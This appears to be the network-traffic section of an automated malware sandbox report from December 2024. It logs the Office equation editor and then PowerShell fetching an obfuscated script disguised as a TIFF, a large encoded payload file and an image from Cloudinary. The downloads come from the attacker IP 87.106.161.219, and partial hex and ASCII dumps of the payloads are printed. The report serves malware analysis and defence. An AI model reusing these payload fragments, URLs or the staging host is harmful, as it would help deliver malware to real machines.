                                                                                  Dec 7, 2024 15:54:31.914259911 CET389849173216.9.226.100192.168.2.22

                                                                                  UDP Packets

                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                  Dec 7, 2024 15:50:41.555007935 CET5456253192.168.2.228.8.8.8
                                                                                  Dec 7, 2024 15:50:41.703797102 CET53545628.8.8.8192.168.2.22
                                                                                  Dec 7, 2024 15:50:41.829941034 CET5291753192.168.2.228.8.8.8

                                                                                  DNS Queries

                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                  Dec 7, 2024 15:50:41.555007935 CET192.168.2.228.8.8.80x16aeStandard query (0)res.cloudinary.comA (IP address)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:41.829941034 CET192.168.2.228.8.8.80x20b5Standard query (0)res.cloudinary.comA (IP address)IN (0x0001)false

                                                                                  DNS Answers

                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                  Dec 7, 2024 15:50:41.703797102 CET8.8.8.8192.168.2.220x16aeNo error (0)res.cloudinary.comcloudinary.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:41.703797102 CET8.8.8.8192.168.2.220x16aeNo error (0)cloudinary.map.fastly.net151.101.65.137A (IP address)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:41.703797102 CET8.8.8.8192.168.2.220x16aeNo error (0)cloudinary.map.fastly.net151.101.129.137A (IP address)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:41.703797102 CET8.8.8.8192.168.2.220x16aeNo error (0)cloudinary.map.fastly.net151.101.193.137A (IP address)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:41.703797102 CET8.8.8.8192.168.2.220x16aeNo error (0)cloudinary.map.fastly.net151.101.1.137A (IP address)IN (0x0001)false
                                                                                  Dec 7, 2024 15:50:42.085915089 CET8.8.8.8192.168.2.220x20b5No error (0)res.cloudinary.comresc.cloudinary.com.cdn.cloudflare.netCNAME (Canonical name)IN (0x0001)false

                                                                                  HTTP Request Dependency Graph

                                                                                  • res.cloudinary.com
                                                                                  • 87.106.161.219

                                                                                  HTTP Packets

                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  0192.168.2.224916187.106.161.219803332C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                  TimestampBytes transferredDirectionData
                                                                                  Dec 7, 2024 15:50:37.626465082 CET354OUTGET /654/givemebestthingswithgreatentierymatterofgood.tiFF HTTP/1.1
                                                                                  Accept: */*
                                                                                  Accept-Encoding: gzip, deflate
                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                  Host: 87.106.161.219
                                                                                  Connection: Keep-Alive
                                                                                  Dec 7, 2024 15:50:38.893745899 CET1236INHTTP/1.1 200 OK
                                                                                  Date: Sat, 07 Dec 2024 14:50:38 GMT
                                                                                  Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                                                  Last-Modified: Thu, 05 Dec 2024 02:38:34 GMT
                                                                                  ETag: "25996-6287ccb713487"
                                                                                  Accept-Ranges: bytes
                                                                                  Content-Length: 154006
                                                                                  Keep-Alive: timeout=5, max=100
                                                                                  Connection: Keep-Alive
                                                                                  Content-Type: image/tiff
                                                                                  Data Raw: ff fe 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 65 00 4c 00 63 00 78 00 78 00 63 00 70 00 4c 00 42 00 6f 00 47 00 4e 00 4b 00 6f 00 47 00 20 00 3d 00 20 00 22 00 57 00 4b 00 65 00 4b 00 53 00 4e 00 7a 00 65 00 63 00 48 00 5a 00 71 00 42 00 4c 00 68 00 22 00 0d 00 0a 00 57 00 4b 00 74 00 6f 00 7a 00 5a 00 68 00 69 00 6c 00 4e 00 6f 00 4c 00 69 00 66 00 70 00 20 00 3d 00 20 00 22 00 71 00 6c 00 69 00 5a 00 4f 00 4f 00 6d 00 61 00 62 00 74 00 41 00 53 00 54 00 6c 00 6b 00 22 00 0d 00 0a 00 63 00 69 00 66 00 49 00 62 00 70 00 50 00 73 00 4e 00 68 00 47 00 4e 00 47 00 63 00 70 00 20 00 3d 00 20 00 22 00 5a 00 64 00 6c 00 52 00 41 00 42 00 53 00 50 00 5a 00 50 00 68 00 50 00 6b 00 68 00 53 00 22 00 0d 00 0a 00 0d 00 0a 00 57 00 7a 00 6d 00 6f 00 68 00 4c 00 6b 00 54 00 41 00 50 00 47 00 43 00 6b 00 57 00 50 00 20 00 3d 00 20 00 22 00 50 00 4e 00 63 00 41 00 5a 00 65 00 55 00 43 00 63 00 4c 00 4c 00 50 00 47 00 69 00 57 00 22 00 0d 00 0a 00 42 00 4c 00 41 00 6d 00 4c 00 4c 00 69 00 4e 00 78 00 4e 00 [TRUNCATED]
                                                                                  Data Ascii: eLcxxcpLBoGNKoG = "WKeKSNzecHZqBLh"WKtozZhilNoLifp = "qliZOOmabtASTlk"cifIbpPsNhGNGcp = "ZdlRABSPZPhPkhS"WzmohLkTAPGCkWP = "PNcAZeUCcLLPGiW"BLAmLLiNxNNeiWh = "tPUuLKqtlxpZkLt"SeWgOGlGWkWKKLo = "WTRJLWfPQOLcmqd"lfKLLtSpGzqZGOK = "cBNbnovIhPpPgAi"CKKWoZWzZonxxrP = "ctWZejRiWKgKLbi"pWUzPKdLGLHChcz = "BGpNzzcGKdNtZpp"bWNcNLZmcLWhzzl = "LdWLoOTdxPzKQoA"iWqpziWkLUZeLWf = "WpkzLLqkqazbxil"iAroLimLKBLGZLd = "chmLdfPWQfLLClL"dtezkN
                                                                                  Dec 7, 2024 15:50:38.893774033 CET1236INData Raw: 00 71 00 41 00 57 00 4c 00 4b 00 57 00 47 00 47 00 6a 00 20 00 3d 00 20 00 22 00 57 00 55 00 57 00 62 00 50 00 48 00 74 00 57 00 63 00 54 00 4c 00 76 00 47 00 52 00 6f 00 22 00 0d 00 0a 00 4e 00 54 00 5a 00 51 00 64 00 7a 00 5a 00 5a 00 47 00 6b
                                                                                  Data Ascii: qAWLKWGGj = "WUWbPHtWcTLvGRo"NTZQdzZZGkGpdbk = "nWkNLclAeifvRAS"UhqLifWGSQiNiAG = "TzUeNtLWLCWZWiP"oCiULTmGzLpWWL
                                                                                  Dec 7, 2024 15:50:38.893790007 CET1236INData Raw: 00 62 00 4c 00 68 00 47 00 62 00 4b 00 22 00 0d 00 0a 00 69 00 64 00 4e 00 57 00 55 00 4b 00 71 00 51 00 71 00 47 00 4b 00 4b 00 69 00 78 00 7a 00 20 00 3d 00 20 00 22 00 4c 00 51 00 4c 00 6d 00 72 00 6c 00 47 00 57 00 43 00 43 00 4b 00 52 00 42
                                                                                  Data Ascii: bLhGbK"idNWUKqQqGKKixz = "LQLmrlGWCCKRBBA"uKlcbKkcmJlzezq = "GnkWovKWfhcLNNm"WULUrJGcdGbioun = "cdKkUocNkciLpLh"c
                                                                                  Dec 7, 2024 15:50:38.893802881 CET1236INData Raw: 00 42 00 55 00 20 00 3d 00 20 00 22 00 41 00 74 00 4c 00 4c 00 64 00 57 00 64 00 6f 00 47 00 6c 00 6e 00 4b 00 64 00 66 00 52 00 22 00 0d 00 0a 00 57 00 4e 00 72 00 70 00 75 00 63 00 47 00 68 00 51 00 4b 00 4e 00 61 00 6e 00 4b 00 69 00 20 00 3d
                                                                                  Data Ascii: BU = "AtLLdWdoGlnKdfR"WNrpucGhQKNanKi = "bhncWWBkcNWPRsG"bZfLiqBLWGUzAgL = "LUikBiKWszRKofd"eqfNeZoAUfGLhJL = "fvLN
                                                                                  Dec 7, 2024 15:50:38.893819094 CET1236INData Raw: 00 63 00 5a 00 55 00 6c 00 66 00 4c 00 61 00 55 00 57 00 43 00 69 00 66 00 6f 00 7a 00 57 00 20 00 3d 00 20 00 22 00 50 00 57 00 6b 00 55 00 6f 00 57 00 6c 00 6b 00 61 00 47 00 62 00 63 00 6b 00 57 00 63 00 22 00 0d 00 0a 00 4e 00 75 00 50 00 76
                                                                                  Data Ascii: cZUlfLaUWCifozW = "PWkUoWlkaGbckWc"NuPvGsPmfUfaizK = "oSfUKNnkUksviWf"oeUhIUKLGpWkWKc = "WUcqkTWLlscbWKO"ozLfLkcb
                                                                                  Dec 7, 2024 15:50:38.893831968 CET1236INData Raw: 00 63 00 4c 00 6d 00 74 00 41 00 7a 00 6a 00 47 00 65 00 6d 00 4f 00 65 00 22 00 0d 00 0a 00 6e 00 4c 00 4f 00 4c 00 6e 00 4b 00 62 00 52 00 6b 00 57 00 69 00 6c 00 5a 00 76 00 63 00 20 00 3d 00 20 00 22 00 4c 00 71 00 67 00 6e 00 4a 00 5a 00 78
                                                                                  Data Ascii: cLmtAzjGemOe"nLOLnKbRkWilZvc = "LqgnJZxclmlKanW"WPLtczCcmicQLUp = "zKUKoBhLKRGUefT"SOizchWeSlpiKGh = "uapceZLdchiWQ
                                                                                  Dec 7, 2024 15:50:38.893845081 CET1236INData Raw: 00 6c 00 6c 00 78 00 67 00 66 00 6c 00 68 00 70 00 20 00 3d 00 20 00 22 00 73 00 4c 00 4b 00 4b 00 6f 00 4c 00 68 00 57 00 65 00 51 00 72 00 7a 00 68 00 63 00 4c 00 22 00 0d 00 0a 00 4b 00 4c 00 48 00 57 00 57 00 57 00 51 00 57 00 54 00 4b 00 53
                                                                                  Data Ascii: llxgflhp = "sLKKoLhWeQrzhcL"KLHWWWQWTKSzsdK = "NcKOScOKZtuhLKs"aPWcRGgxtnWLLmd = "lpacJkcWKuWLPmL"UWuaKbLWxGAPPLx =
                                                                                  Dec 7, 2024 15:50:38.894005060 CET1236INData Raw: 00 70 00 41 00 4b 00 22 00 0d 00 0a 00 63 00 57 00 50 00 6f 00 72 00 4a 00 4e 00 7a 00 68 00 6d 00 63 00 4c 00 57 00 6f 00 53 00 20 00 3d 00 20 00 22 00 57 00 57 00 66 00 43 00 47 00 57 00 4c 00 41 00 7a 00 55 00 6f 00 69 00 4e 00 6b 00 48 00 22
                                                                                  Data Ascii: pAK"cWPorJNzhmcLWoS = "WWfCGWLAzUoiNkH"eiNWUWPomiiuzcS = "cknxGUhLoziWLPC"GiPAgdUIWztWkLn = "iWAZWckmoWcLixz"lA
                                                                                  Dec 7, 2024 15:50:38.894016981 CET1236INData Raw: 00 3d 00 20 00 22 00 55 00 4b 00 53 00 55 00 4c 00 6e 00 4c 00 76 00 4c 00 4c 00 69 00 68 00 69 00 4c 00 6e 00 22 00 0d 00 0a 00 57 00 4c 00 6b 00 57 00 57 00 64 00 78 00 61 00 47 00 4c 00 71 00 6a 00 6e 00 4b 00 63 00 20 00 3d 00 20 00 22 00 4c
                                                                                  Data Ascii: = "UKSULnLvLLihiLn"WLkWWdxaGLqjnKc = "LKWBfcinZcWzkne"PnpmrsxGetKQuWh = "zpiAliKUpxusiZW"AoKkWpOcbuHLtWa = "LcOWine
                                                                                  Dec 7, 2024 15:50:38.894028902 CET1236INData Raw: 00 42 00 71 00 6b 00 70 00 70 00 4f 00 4c 00 70 00 78 00 4b 00 6c 00 7a 00 47 00 71 00 20 00 3d 00 20 00 22 00 61 00 75 00 4f 00 6f 00 66 00 4e 00 69 00 42 00 57 00 6f 00 4c 00 6f 00 61 00 6a 00 4c 00 22 00 0d 00 0a 00 4c 00 47 00 57 00 53 00 75
                                                                                  Data Ascii: BqkppOLpxKlzGq = "auOofNiBWoLoajL"LGWSuWGkKamkdPc = "kPIubiABqxljhmk"lULnRqRdCpuAPnR = "xWLiJmPkeKKfPnh"rNGULivKpZe
                                                                                  Dec 7, 2024 15:50:39.015161037 CET1236INData Raw: 00 61 00 69 00 4b 00 6b 00 4c 00 72 00 57 00 65 00 62 00 22 00 0d 00 0a 00 68 00 4b 00 4c 00 70 00 54 00 69 00 6e 00 69 00 50 00 4c 00 62 00 68 00 73 00 4e 00 6d 00 20 00 3d 00 20 00 22 00 66 00 4b 00 57 00 74 00 5a 00 4f 00 62 00 6e 00 69 00 4e
                                                                                  Data Ascii: aiKkLrWeb"hKLpTiniPLbhsNm = "fKWtZObniNrLjLA"NbLKbWNkRoWNxef = "nPlzUWPLoWLLfLc"LmbsxcAWzjKgKCU = "iPWLCciKftvcdu


                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  1192.168.2.224916387.106.161.219803532C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  TimestampBytes transferredDirectionData
                                                                                  Dec 7, 2024 15:51:00.271328926 CET77OUTGET /654/HMZRR.txt HTTP/1.1
                                                                                  Host: 87.106.161.219
                                                                                  Connection: Keep-Alive
                                                                                  Dec 7, 2024 15:51:01.537985086 CET1236INHTTP/1.1 200 OK
                                                                                  Date: Sat, 07 Dec 2024 14:51:01 GMT
                                                                                  Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                                                  Last-Modified: Thu, 05 Dec 2024 02:33:13 GMT
                                                                                  ETag: "a0800-6287cb84cdbc5"
                                                                                  Accept-Ranges: bytes
                                                                                  Content-Length: 657408
                                                                                  Keep-Alive: timeout=5, max=100
                                                                                  Connection: Keep-Alive
                                                                                  Content-Type: text/plain
                                                                                  Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 2b 38 67 4e 50 38 79 44 6e 38 77 48 50 59 78 44 54 38 77 43 50 41 73 44 35 37 51 38 4f 6b 75 44 67 37 41 32 4f 38 73 44 48 36 41 76 4f 4d 72 44 72 36 77 6f 4f 73 70 44 52 36 67 69 4f 51 6f 44 43 36 51 67 4f 41 6b 44 2f 35 67 66 4f 30 6e 44 6f 7a 51 7a 4d 77 49 44 70 79 41 71 4d 45 4b 44 67 79 77 6e 4d 77 4a 44 57 79 67 6b 4d 34 49 44 4b 79 67 52 4d 6f 48 44 32 78 51 64 4d 51 48 44 7a 78 67 63 4d 45 48 44 77 78 77 62 4d 34 47 44 72 78 67 61 4d 6b 47 44 6f 78 77 5a 4d 59 47 44 6c 78 41 [TRUNCATED]
                                                                                  Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD+8gNP8yDn8wHPYxDT8wCPAsD57Q8OkuDg7A2O8sDH6AvOMrDr6woOspDR6giOQoDC6QgOAkD/5gfO0nDozQzMwIDpyAqMEKDgywnMwJDWygkM4IDKygRMoHD2xQdMQHDzxgcMEHDwxwbM4GDrxgaMkGDoxwZMYGDlxAZMMGDixgWMkFDYAAAAQCwBAAAAAADHwgAMAAAAAABAGAOAAAwPs/D5/w9PU/D0/g8P0+Dr/g5PQ+Di/A4P89De/Q3Pw9Da/Q2Pc9DS/A0Ps8DJ/wxPU4D8+guPg7D3+AsPg6Dn+AoPg5DQ+AiPA0D49AcPg2Dg9AWPA1DI9AAPgzDw8AKPAyDY8AEPgwDA7A+OAvDo7A4OgtDQ7AyOEsDA6gvOYrDu6gpO4pDW6gjOYkD+5gdO4mDt5gZO4lDX5AVOwkDE4APOQjDs4AJOwhDU4wDO0gDM4gCOggDG4QxN4fD93w8NEfDu3Q5NEeDg3g3NcdDW3A1NwcDL2gvNsbDz2AsN4aDp2wpNYaDl2woNEaDf2gmNgZDX2glNQZDS2AkNsYDJ2AhNIYDB2AQN4XD81geNUXDz1gcNAXDu1AbNsWDk1wYNMVDP1gQNAQD90QONwSDq0wJNMSDW0AFNERDN0AwM4PD7zw9MoODozQ5MEODUzg0M8MDLygvMwLD5yQtMgKDmywoMEKDfygkMAJDNywiMkED8xgeMcHD1xwcMYGDkxQYM0FDQxgTMsEDHwgOMgDAAB
                                                                                  Dec 7, 2024 15:51:01.538012028 CET1236INData Raw: 67 4a 41 47 41 4e 41 41 41 41 50 77 79 44 6d 38 41 4a 50 4d 79 44 69 38 67 48 50 30 78 44 5a 38 77 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 67 77 44 48 38 77 77 4f 30 76 44 37 37 67 2b 4f 6b 76 44 34 37 77 39 4f 59 76 44 79 37 51 38
                                                                                  Data Ascii: gJAGANAAAAPwyDm8AJPMyDi8gHP0xDZ8wEPExDQ8wDP4wDN8ADPgwDH8wwO0vD77g+OkvD47w9OYvDy7Q8O0uDn7Q5OQuDj7g4OEuDd7A3OgtDS7A0O8sDO7QzOwsDI7wxOMoD96wuOorD56QtOQrDw6wrOsqDl6woOIqDe6AmOYpDV6AlOMpDP6QiOgoDC6AQO8nD+5QfOwnD45wdOMnDt5waOomDm5QZOEmDb5QWOglDX5wUO
                                                                                  Dec 7, 2024 15:51:01.538021088 CET1236INData Raw: 6e 44 32 35 41 64 4f 49 6e 44 77 35 67 62 4f 77 6d 44 71 35 41 61 4f 59 6d 44 6b 35 67 59 4f 41 6d 44 65 35 41 58 4f 6f 6c 44 59 35 67 56 4f 51 6c 44 53 35 41 55 4f 34 6b 44 4d 35 67 53 4f 67 6b 44 47 35 41 52 4f 49 6b 44 41 34 67 50 4f 77 6a 44
                                                                                  Data Ascii: nD25AdOInDw5gbOwmDq5AaOYmDk5gYOAmDe5AXOolDY5gVOQlDS5AUO4kDM5gSOgkDG5AROIkDA4gPOwjD6AAQAQDQBwDAAA4D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV+wkPE5DP+QjPs4DJ+whPU4DD+QQP83D99wePk3D39QdPM3Dx9wbP02Dr9QaPc2Dl9wYPE2Df9QXPs1DZ9wVPU1DT9QUP80DN
                                                                                  Dec 7, 2024 15:51:01.538081884 CET1236INData Raw: 77 4a 50 59 79 44 6c 38 41 4a 50 4d 79 44 69 38 51 49 50 41 79 44 66 38 67 48 50 30 78 44 63 38 77 47 50 6f 78 44 5a 38 41 47 50 63 78 44 57 38 51 46 50 51 78 44 54 38 67 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 73 77 44 4b 38 51 43
                                                                                  Data Ascii: wJPYyDl8AJPMyDi8QIPAyDf8gHP0xDc8wGPoxDZ8AGPcxDW8QFPQxDT8gEPExDQ8wDP4wDN8ADPswDK8QCPgwDH8gBPUwDE8wAPIwDB8AwO8vD+AAAAgDQBADAAA0Dx9AcP82Du9QbPw2Dr9gaPk2Do9wZPY2Dl9AZPM2Di9AYP81De9QXPw1Db9QWPY1DV9AVPM1DS9QUPA1DP9QTPw0DL9gSPk0DI9wRPY0DE9gAAAAAXAUAs
                                                                                  Dec 7, 2024 15:51:01.538094044 CET1236INData Raw: 35 44 5a 2b 77 6c 50 55 35 44 54 2b 51 6b 50 38 34 44 4e 2b 77 69 50 6b 34 44 48 2b 51 68 50 4d 34 44 42 39 77 66 50 30 33 44 37 39 51 65 50 63 33 44 31 39 77 63 50 45 33 44 76 39 51 62 50 73 32 44 70 39 77 5a 50 55 32 44 6a 39 51 59 50 38 31 44
                                                                                  Data Ascii: 5DZ+wlPU5DT+QkP84DN+wiPk4DH+QhPM4DB9wfP03D79QePc3D19wcPE3Dv9QbPs2Dp9wZPU2Dj9QYP81Dd9wWPk1DX9QVPM1DR9wTP00DL9QSPc0DF9wQPEwD/8QPPszD58wNPUzDz8QMP8yDt8wKPkyDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl
                                                                                  Dec 7, 2024 15:51:01.538108110 CET1236INData Raw: 51 50 41 41 45 41 77 41 55 41 63 41 41 41 41 2f 51 78 50 4b 38 44 41 2b 59 76 50 73 37 6a 34 2b 67 74 50 4f 37 44 78 2b 6f 72 50 77 36 6a 70 2b 77 70 50 53 36 44 69 2b 34 6e 50 30 35 6a 61 2b 41 6d 50 57 35 44 54 2b 49 6b 50 34 34 6a 4c 2b 51 69
                                                                                  Data Ascii: QPAAEAwAUAcAAAA/QxPK8DA+YvPs7j4+gtPO7Dx+orPw6jp+wpPS6Di+4nP05ja+AmPW5DT+IkP44jL+QiPa4DE+YQP83j89gePe3D19ocPA3jt9waPi2Dm94YPE2Dc9YWPc1jU9gUP80TM9cSPd0zE9kAP/zT98sOPhzT18oMPAzjt8wKPiyzh8QGPBxjJ8swOwvj57w9OSvDy747O0ujq7A6OWuDj7I4O4tjb7U2O+sjN78hO
                                                                                  Dec 7, 2024 15:51:01.538120985 CET1236INData Raw: 53 6a 6c 30 51 49 4e 63 4d 6a 75 7a 45 67 4d 35 4c 7a 36 79 6f 74 4d 4e 4c 6a 77 79 49 6f 4d 74 4a 54 57 79 30 6b 4d 45 45 44 78 78 45 62 4d 50 47 54 61 78 59 45 4d 39 44 44 2b 77 49 50 4d 74 44 6a 53 41 41 41 41 59 43 41 42 67 44 77 50 2f 2f 44
                                                                                  Data Ascii: Sjl0QINcMjuzEgM5Lz6yotMNLjwyIoMtJTWy0kMEEDxxEbMPGTaxYEM9DD+wIPMtDjSAAAAYCABgDwP//D2/Q6PS4z/+ksPS6TX+QlPG5TM+EQPq3z39scPA3zu9oZPttzW7A0OIoDs6AqOWqTi68nOwpjV68kOIpTQ64QO5nD95MeOZnzu58ZONmze5wGOyfT63I8NXdDM2s4MCPzozUjMaLTex0aMgGDmxsGM1AAAAwHAEANA
                                                                                  Dec 7, 2024 15:51:01.538413048 CET1236INData Raw: 51 64 4f 47 6e 44 70 35 38 5a 4f 61 6d 6a 68 35 73 58 4f 6d 6c 54 57 35 34 55 4f 66 6b 54 41 34 77 50 4f 33 6a 44 37 34 41 4e 4f 73 69 54 65 34 51 48 4f 76 68 44 5a 34 4d 44 4f 50 67 6a 43 34 55 77 4e 36 66 6a 33 33 63 38 4e 73 65 7a 70 33 49 36
                                                                                  Data Ascii: QdOGnDp58ZOamjh5sXOmlTW54UOfkTA4wPO3jD74ANOsiTe4QHOvhDZ4MDOPgjC4UwN6fj33c8Nsezp3I6NXeze3s2NKdTR3A0N1czE3EgNjbj32ktNObjs20pNzZjb2kmNeZjQ2gjNdYDG2MhNIUD71cdNzWjr1kaNeWjg14VNxUDL1cSNcUDA0YPNYTz004MNDTzp00JNCSTf0gHNtRTU0cENsQzJ0ICNXMz+zE/MWPT0zw8M
                                                                                  Dec 7, 2024 15:51:01.538424969 CET1236INData Raw: 55 44 43 7a 63 50 41 41 41 41 52 41 51 41 45 41 41 41 41 34 4d 65 4e 56 57 44 65 31 59 43 4e 41 50 44 71 79 73 75 4d 79 4b 44 6a 79 41 56 4d 7a 42 54 67 77 41 46 41 41 41 41 4a 41 51 41 41 41 38 6a 73 2f 30 32 50 36 34 44 36 2b 73 72 50 4f 32 44
                                                                                  Data Ascii: UDCzcPAAAARAQAEAAAA4MeNVWDe1YCNAPDqysuMyKDjyAVMzBTgwAFAAAAJAQAAA8js/02P64D6+srPO2D39cCP3vjp781OEoj9447NybTXzk8M5MzEyYvMEEjHAAAA0AwAwDgPz4DF9cfP22Tl9EXPq1TZ8UPP5sja6YrOxqjk5YZO1lTU5oUOFhD23E/NBTTZ0sFAAAAOAMA4AAAA9cfPQxDI7o/OdvzJ7sgOyqDm0k1M2PDp
                                                                                  Dec 7, 2024 15:51:01.538434982 CET1236INData Raw: 67 4e 4d 53 44 44 78 77 38 4c 4d 35 43 7a 73 77 30 4b 4d 6f 43 6a 6f 77 77 4a 4d 57 43 54 6b 77 73 49 4d 46 43 7a 66 77 6f 48 4d 30 42 6a 62 77 67 47 4d 6a 42 54 58 77 63 46 4d 52 42 44 54 77 59 45 4d 41 42 6a 4f 77 55 44 4d 76 41 54 4b 77 4d 43
                                                                                  Data Ascii: gNMSDDxw8LM5Czsw0KMoCjowwJMWCTkwsIMFCzfwoHM0BjbwgGMjBTXwcFMRBDTwYEMABjOwUDMvATKwMCMeADGwIBMMAzBwEAAAAA1AMAUAAAA/s/P1/D8/o+Pk/j3/k9PT/Tz/c8PC/Dv/Y7Pw+zq/U6Pf+Tm/Q5PO+Di/I4P99zd/E3Pr9jZ/A2Pa9DV/80PJ9zQ/0zP48jM/wyPm8TI/sxPV8zD/owPE4j/+gvPz7T7+cuP
                                                                                  Dec 7, 2024 15:51:01.658138990 CET1236INData Raw: 69 6a 66 41 41 41 41 73 41 77 41 67 41 77 50 45 2f 7a 72 2f 6f 35 50 2f 51 6a 68 30 41 45 41 41 41 41 46 41 4d 41 45 41 4d 54 30 7a 51 4d 41 41 41 41 44 41 4d 41 41 41 38 54 39 2f 38 39 50 4a 2f 7a 6d 41 41 41 41 51 41 67 41 77 44 41 41 41 49 7a
                                                                                  Data Ascii: ijfAAAAsAwAgAwPE/zr/o5P/Qjh0AEAAAAFAMAEAMT0zQMAAAADAMAAA8T9/89PJ/zmAAAAQAgAwDAAAIzAxQfMjHTxxYLAAAAFAIA4AAAA5IUOhkzD5AAOaDAAAQBACAMA1wAN+Tz70UOAAAAEAIAsAwjS84DPgsz+7Q+ODCAAAQBACAKAAAAOdhzU4MxNKYz+2AvNlbj220sN5aTqAAAAgAgAACgP45Dd+AnPs5Da+QmPg5DX


                                                                                  HTTPS Proxied Packets

                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  0192.168.2.2249162151.101.65.1374433532C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  TimestampBytes transferredDirectionData
                                                                                  2024-12-07 14:50:43 UTC127OUTGET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1
                                                                                  Host: res.cloudinary.com
                                                                                  Connection: Keep-Alive
                                                                                  2024-12-07 14:50:44 UTC805INHTTP/1.1 200 OK
                                                                                  Connection: close
                                                                                  Content-Length: 2230233
                                                                                  Content-Type: image/jpeg
                                                                                  Etag: "7b9a6708dc7c92995f443d0b41dbc8d0"
                                                                                  Last-Modified: Mon, 02 Dec 2024 10:22:29 GMT
                                                                                  Date: Sat, 07 Dec 2024 14:50:43 GMT
                                                                                  Strict-Transport-Security: max-age=604800
                                                                                  Cache-Control: public, no-transform, immutable, max-age=2592000
                                                                                  Server-Timing: cld-fastly;dur=249;cpu=106;start=2024-12-07T14:50:43.619Z;desc=miss,rtt;dur=170,content-info;desc="width=1920,height=1080,bytes=2230233,o=1,ef=(17)",cloudinary;dur=128;start=2024-12-07T14:50:43.732Z
                                                                                  Server: Cloudinary
                                                                                  Timing-Allow-Origin: *
                                                                                  Access-Control-Allow-Origin: *
                                                                                  Accept-Ranges: bytes
                                                                                  X-Content-Type-Options: nosniff
                                                                                  Access-Control-Expose-Headers: Content-Length,ETag,Server-Timing,X-Content-Type-Options
                                                                                  x-request-id: 6f487a4c60d72621f2efeecff85ca20a
                                                                                  2024-12-07 14:50:44 UTC1378INData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1
                                                                                  Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
